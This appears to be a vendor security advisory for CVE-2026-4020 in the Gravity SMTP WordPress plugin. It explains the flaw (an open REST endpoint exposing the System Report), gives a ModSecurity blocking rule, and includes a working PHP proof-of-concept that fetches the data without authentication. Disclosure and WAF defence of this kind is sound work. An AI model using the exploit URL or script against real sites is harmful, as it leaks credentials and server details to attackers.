Atomic Edge analysis of CVE-2026-4020 (metadata-based):
The Gravity SMTP plugin for WordPress versions up to and including 2.1.4 contains an unauthenticated sensitive information exposure vulnerability. The flaw resides in a REST API endpoint that lacks proper access controls, allowing any site visitor to retrieve the site’s full System Report. This data leak is severe due to the comprehensive nature of the exposed configuration data.
Atomic Edge research identifies the root cause as an incorrectly implemented permission_callback function for a REST API endpoint. The description confirms the endpoint at /wp-json/gravitysmtp/v1/tests/mock-data had its permission_callback set to unconditionally return true. This bypasses WordPress’s standard authentication checks. The vulnerability is further triggered when a specific query parameter (?page=gravitysmtp-settings) is present, causing the plugin to populate and expose internal connector data. This analysis is inferred from the CWE-200 classification and the provided vulnerability description, as source code for confirmation is unavailable.
Exploitation is straightforward. An attacker sends a single HTTP GET request to the vulnerable REST API endpoint. The target URL is the WordPress site’s base URL appended with the path /wp-json/gravitysmtp/v1/tests/mock-data and the query string ?page=gravitysmtp-settings. No authentication, cookies, or special headers are required. The server responds with approximately 365 KB of JSON data containing the entire System Report.
The remediation likely involved correcting the permission_callback for the affected REST API endpoint. The fix in version 2.1.5 almost certainly implemented a proper capability check, such as current_user_can(‘manage_options’), or removed the endpoint’s functionality for unauthenticated users entirely. Proper registration of REST API endpoints in WordPress requires a callback that validates user privileges before executing sensitive operations.
Successful exploitation has a high impact on confidentiality. Attackers gain detailed knowledge of the server environment, including PHP version, web server software, database type and version, WordPress core version, a complete list of active plugins and themes with versions, file system paths, and any API keys or tokens stored within the Gravity SMTP plugin’s configuration. This information facilitates targeted attacks, such as searching for known vulnerabilities in the enumerated software stack or using exposed credentials for further compromise.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-4020 (metadata-based)
SecRule REQUEST_URI "@rx ^/wp-json/gravitysmtp/v1/tests/mock-data"
"id:20264020,phase:2,deny,status:403,chain,msg:'CVE-2026-4020: Gravity SMTP Unauthenticated Info Exposure via REST API',severity:'CRITICAL',tag:'CVE-2026-4020',tag:'WordPress',tag:'Plugin:GravitySMTP',tag:'Attack-Disclosure'"
SecRule ARGS_GET:page "@streq gravitysmtp-settings" "t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-4020 - Gravity SMTP <= 2.1.4 - Unauthenticated Sensitive Information Exposure via REST API
<?php
$target_url = 'https://example.com'; // CHANGE THIS to the target WordPress site URL
// Construct the full exploit URL based on the described vulnerability.
$exploit_endpoint = '/wp-json/gravitysmtp/v1/tests/mock-data';
$exploit_parameters = '?page=gravitysmtp-settings';
$full_url = rtrim($target_url, '/') . $exploit_endpoint . $exploit_parameters;
echo "[+] Target: $full_urln";
echo "[+] Sending unauthenticated GET request...n";
// Initialize cURL session.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $full_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing; enable in production.
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'Atomic Edge PoC Scanner');
// Execute the request.
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "[+] HTTP Response Code: $http_coden";
// Analyze the response.
if ($http_code == 200 && !empty($response)) {
$data = json_decode($response, true);
if (json_last_error() === JSON_ERROR_NONE) {
echo "[SUCCESS] Retrieved JSON data.n";
echo "[INFO] Sample data keys present: " . implode(', ', array_keys($data)) . "n";
// In a real assessment, you would parse and display specific sensitive fields.
echo "n" . substr($response, 0, 1000) . "...n"; // Print first 1000 chars as sample.
} else {
echo "[!] Received non-JSON response. Raw output:n$responsen";
}
} else {
echo "[FAILURE] Exploit may have failed or the site is patched.n";
echo "Raw response (if any):n$responsen";
}
?>
